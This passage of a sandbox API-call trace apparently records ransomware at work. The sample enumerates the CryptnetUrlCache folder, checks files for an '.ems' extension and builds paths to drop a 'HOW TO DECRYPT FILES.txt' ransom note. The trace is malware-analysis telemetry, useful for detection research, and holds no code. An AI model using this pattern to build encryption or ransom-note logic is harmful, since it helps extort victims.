HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56" [0086.989] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.989] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.989] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.989] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.989] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F" [0086.989] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", pszSpec="*.ems") returned 0 [0086.989] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0086.989] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.989] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned 1 [0086.989] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned 1 [0086.990] lstrcmpiA (lpString1="", lpString2="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned -1 [0086.990] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F" [0086.990] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.990] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.990] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.990] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.990] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416" [0086.990] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", pszSpec="*.ems") returned 0 [0086.990] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0086.990] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.990] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned 1 [0086.990] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned 1 [0086.990] lstrcmpiA (lpString1="", lpString2="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned -1 [0086.990] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416" [0086.991] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.991] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.991] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.991] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.991] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61" [0086.991] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", pszSpec="*.ems") returned 0 [0086.991] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbddd270, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd2da, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0086.991] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.991] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="94308059B57B3142E455B38A6EB92015") returned 1 [0086.991] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="94308059B57B3142E455B38A6EB92015") returned 1 [0086.991] lstrcmpiA (lpString1="", lpString2="94308059B57B3142E455B38A6EB92015") returned -1 [0086.991] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61" [0086.991] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.991] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.992] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.992] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.992] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="94308059B57B3142E455B38A6EB92015" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015" [0086.992] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015", pszSpec="*.ems") returned 0 [0086.992] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0086.992] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.992] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned 1 [0086.992] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned 1 [0086.992] lstrcmpiA (lpString1="", lpString2="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned -1 [0086.992] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015") returned="94308059B57B3142E455B38A6EB92015" [0086.992] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.992] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.992] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.992] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.993] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9" [0086.993] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", pszSpec="*.ems") returned 0 [0086.993] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ab, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0086.993] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.993] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned 1 [0086.993] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned 1 [0086.993] lstrcmpiA (lpString1="", lpString2="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned -1 [0086.993] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9" [0086.993] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.993] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.993] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.994] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.994] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6" [0086.994] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", pszSpec="*.ems") returned 0 [0086.994] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0x200057, dwReserved1=0x4f0054, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0086.994] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.994] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned 1 [0086.994] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned 1 [0086.994] lstrcmpiA (lpString1="", lpString2="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned -1 [0086.994] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6" [0086.994] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" [0086.994] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\") returned="" [0086.994] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" [0086.994] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\content\\how to decrypt files.txt")) returned 0x2020 [0086.994] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\", lpString2="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E" [0086.995] PathMatchSpecA 